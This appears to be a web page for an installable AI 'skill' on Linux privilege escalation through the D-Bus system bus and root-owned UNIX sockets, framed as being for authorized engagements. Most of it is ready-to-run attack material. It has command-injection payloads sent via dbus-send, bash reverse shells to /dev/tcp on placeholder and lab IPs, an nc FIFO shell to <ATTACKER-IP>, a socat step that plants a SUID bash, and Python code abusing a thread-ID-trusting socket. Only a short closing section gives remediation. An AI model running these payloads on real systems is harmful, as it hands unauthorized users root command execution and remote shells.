Enumerating the D-Bus system bus and abusing root-exposed methods, policy and Polkit misconfigurations, and unix/abstract socket services for command injection and privilege escalation during authorized engagements, covering busctl/gdbus/dbus-send enumeration and exploitation plus root-owned UNIX socket abuse.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Enumerating the D-Bus system bus and abusing root-exposed methods, policy and Polkit misconfigurations, and unix/abstract socket services for command injection and privilege escalation during authorized engagements, covering busctl/gdbus/dbus-send enumeration and exploitation plus root-owned UNIX socket abuse.
During authorized local privilege escalation on desktop/server Linux that runs the D-Bus system bus
When a root-owned service exposes a D-Bus interface with an unprivileged-callable method
When linpeas/manual enumeration finds root-owned UNIX sockets in /tmp, /run, or abstract namespace
When custom or vendor IPC daemons accept untrusted input and perform privileged actions
When reviewing D-Bus policy (/etc/dbus-1/system.d/) and Polkit action authorization
Critical: Techniques Most Often Missed
D-Bus and socket privesc is overlooked because the methods aren't visible in a port scan. Enumerate the bus and local sockets explicitly.
Unprivileged-callable method on a root service. A method flagged SD_BUS_VTABLE_UNPRIVILEGED runs in a root process and may pass input to system().
How to CONFIRM: busctl status <service> shows UID=0; busctl introspect lists the method; a benign call returns a reply (not an auth error).
Activatable services (not yet running).(activatable) bus names start a binary on demand — still an escalation path.
How to CONFIRM: grep -R '^Exec=' /usr/share/dbus-1/system-services maps the name to a root Exec=/User=.
Command injection in a D-Bus method argument. Strings forwarded to system()/iptables are injectable.
How to CONFIRM: send ;id # style payload; for the HTB oouch Block method, ;bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' # spawns a root reverse shell.
Three-layer authorization gap (D-Bus policy vs Polkit vs activation). Introspection shows what, not why allowed.
How to CONFIRM: cross-check /etc/dbus-1/system.d/*.conf (send_destination) + /usr/share/polkit-1/actions/*.policy (allow_active) + the .serviceExec=.
Root-owned UNIX socket executing input. A world-writable root socket that runs received data.
How to CONFIRM: netstat -a -p --unix | grep LISTEN (or ss -xlp) shows a root socket; echo 'id' | socat - UNIX-CLIENT:/path runs as root.
Workflow
Step 1: Enumerate the D-Bus System Bus
busctl list # all bus names; note PID/USER and (activatable)
busctl status <service> # confirm UID=0 + EffectiveCapabilities# Map activatable names -> the binary/user that will startls -la /usr/share/dbus-1/system-services/ /usr/share/dbus-1/services/ 2>/dev/null
grep -RInE '^(Name|Exec|SystemdService|User)=' /usr/share/dbus-1/system-services 2>/dev/null
# Who may own / send / receive on the bus
grep -RInE '<(allow|deny) (own|send_destination|receive_sender)=|user=|group=' \
/etc/dbus-1/system.d /usr/share/dbus-1/system.d 2>/dev/null
# Default Polkit authorization model for the action
grep -RInE 'allow_active|allow_inactive|auth_admin|auth_self|policykit\.imply' \
/usr/share/polkit-1/actions 2>/dev/null
pkaction --verbose
Step 6: Monitor / Capture the Bus (as root, for analysis)
busctl monitor <service> # live messages for the servicesudo busctl capture <service> > dbus.pcapng # open in Wireshark
dbus-monitor --system "type=method_call"# filtered method-call view
Step 7: Abuse Root-Owned UNIX Sockets
# Discover listening unix sockets and owners
netstat -a -p --unix | grep -i listen
ss -xlp
# Socket that executes received data -> root command executionecho'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' | socat - UNIX-CLIENT:/tmp/socket_test.s
/tmp/bash -p
# Reverse shell via FIFO if the socket pipes to a shellrm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
# TID/signal-coupled daemon abuse (privileged socket trusting client thread IDs)import socket, struct, os, threading, time
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', th.native_id) + b'A'*0x80); s.recv(4)
os.kill(th.native_id, 4) # deliver the signal that triggers the privileged path
Key Concepts
Concept
Description
System bus vs session bus
System bus carries privileged (often root) services; the target for privesc
Object path / interface / method
D-Bus addressing: e.g. /htb/oouch/Block + htb.oouch.Block.Block
Introspection
Introspect returns XML of methods/signatures — shows what is callable
D-Bus policy
/etc/dbus-1/system.d/*.conf controls who may own/send/receive on a name
Polkit action
.policy files define auth model (allow_active, auth_admin, ...) for an action
Activatable service
A bus name that starts a binary on demand via its .serviceExec=
Root-owned socket injection
A privileged UNIX socket that executes or trusts untrusted client input
Tools & Systems
Tool
Purpose
busctl
List/status/tree/introspect/call/monitor/capture the bus (systemd)
gdbus
Scriptable D-Bus method invocation and introspection
dbus-send
Send a single method call with typed arguments (string:, objpath:, ...)
D-Feet
GUI to browse services, objects, methods and invoke them with Python args
pkaction / Polkit
Inspect action authorization models
socat / netstat / ss
Discover and talk to root-owned UNIX sockets
Common Scenarios
Scenario 1: Root D-Bus service with injectable method
A root dbus-server exposes htb.oouch.Block.Block(s) that passes the argument to system(). Sending ;bash -i >& /dev/tcp/IP/PORT 0>&1 # via dbus-send yields a root reverse shell.
Scenario 2: Activatable service with weak Exec
busctl list shows an (activatable) name whose .serviceExec= points to a writable script run as root; triggering the name escalates.
Scenario 3: World-writable root UNIX socket
A logging daemon binds /tmp/socket_test.s as root and runs received bytes via os.system. echo 'chmod +s /bin/bash' | socat - UNIX-CLIENT:/tmp/socket_test.s makes bash SUID.
Scenario 4: Proxy service dropping caller identity
A root proxy forwards requests to a backend over its own connection, so the backend treats every request as UID 0, bypassing per-caller authorization.
Output Format
## D-Bus / Socket Injection Finding
**Vulnerability**: Privilege Escalation via D-Bus Method Command Injection
**Severity**: Critical
**Service**: htb.oouch.Block (PID running as UID=0)
### Discovery
$ busctl status htb.oouch.Block -> UID=0, CommandLine=/root/dbus-server
$ busctl introspect htb.oouch.Block /htb/oouch/Block
.Block method s s (UNPRIVILEGED)
### Exploitation
$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block \
htb.oouch.Block.Block string:';bash -c "bash -i >& /dev/tcp/10.10.14.44/9191 0>&1" #'
-> reverse shell as root
### Impact
Any user permitted to send to the bus name obtains root command execution.
### Recommendation
1. Validate/escape all method arguments; never pass them to system()/shell
2. Require Polkit auth (auth_admin) for privileged methods; remove UNPRIVILEGED flag
3. Tighten /etc/dbus-1/system.d policy (send_destination per least privilege)
4. For UNIX sockets: enforce SO_PEERCRED checks, strict message formats, no exec of input
